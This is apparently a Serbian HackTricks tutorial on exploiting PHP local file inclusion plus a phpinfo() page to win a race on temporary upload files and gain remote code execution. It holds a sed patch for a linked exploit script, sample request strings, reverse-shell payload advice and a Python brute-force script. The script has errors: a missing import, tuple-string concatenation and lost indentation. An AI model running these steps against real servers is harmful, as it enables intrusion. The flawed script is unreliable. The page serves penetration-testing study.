LFI2RCE via phpinfo()

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Da biste iskoristili ovu ranjivost, potrebno vam je: LFI ranjivost, stranica na kojoj se prikazuje phpinfo(), "file_uploads = on" i server mora moći da piše u "/tmp" direktorijum.

https://www.insomniasec.com/downloads/publications/phpinfolfi.py

Tutorial HTB: https://www.youtube.com/watch?v=rs4zEwONzzk&t=600s

Da biste ispravili eksploit (promenite => u =>). To možete uraditi:

sed -i 's/\[tmp_name\] \=>/\[tmp_name\] =\&gt/g' phpinfolfi.py

Morate promeniti i payload na početku eksploatacije (na primer, za php-rev-shell), REQ1 (ovo bi trebalo da upućuje na phpinfo stranicu i trebalo bi da uključuje padding, na primer: REQ1="""POST /install.php?mode=phpinfo&a="""+padding+""" HTTP/1.1), i LFIREQ (ovo bi trebalo da upućuje na LFI ranjivost, na primer: LFIREQ="""GET /info?page=%s%%00 HTTP/1.1\r -- Proverite dvostruki "%" prilikom iskorišćavanja null karaktera)

Teorija

Ako su dozvoljeni uploadi u PHP-u i pokušate da otpremite datoteku, ta datoteka se čuva u privremenoj direktoriji dok server ne završi obradu zahteva, a zatim se ta privremena datoteka briše.

Zatim, ako ste pronašli LFI ranjivost na web serveru, možete pokušati da pogodite ime privremene datoteke koja je kreirana i iskoristiti RCE pristupajući privremenoj datoteci pre nego što bude obrisana.

Na Windows-u, datoteke se obično čuvaju u C:\Windows\temp\php

Na Linux-u, ime datoteke obično bude slučajno i smeštena je u /tmp. Pošto je ime slučajno, potrebno je izvući negde ime privremene datoteke i pristupiti joj pre nego što bude obrisana. To se može uraditi čitanjem vrednosti promenljive $_FILES unutar sadržaja funkcije "phpconfig()".

phpinfo()

PHP koristi bafer od 4096B i kada je pun, on se šalje klijentu. Zatim klijent može poslati mnogo velikih zahteva (koristeći velike zaglavlja) otpremajući php reverse shell, čekati da se vrati prvi deo phpinfo() (gde je ime privremene datoteke) i pokušati pristupiti privremenoj datoteci pre nego što php server obriše datoteku iskorišćavajući LFI ranjivost.

Python skripta za pokušaj brute force imena (ako je dužina = 6)

import itertools
import requests
import sys

print('[+] Trying to win the race')
f = {'file': open('shell.php', 'rb')}
for _ in range(4096 * 4096):
requests.post('http://target.com/index.php?c=index.php', f)


print('[+] Bruteforcing the inclusion')
for fname in itertools.combinations(string.ascii_letters + string.digits, 6):
url = 'http://target.com/index.php?c=/tmp/php' + fname
r = requests.get(url)
if 'load average' in r.text:  # <?php echo system('uptime');
print('[+] We have got a shell: ' + url)
sys.exit(0)

print('[x] Something went wrong, please try again')
Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated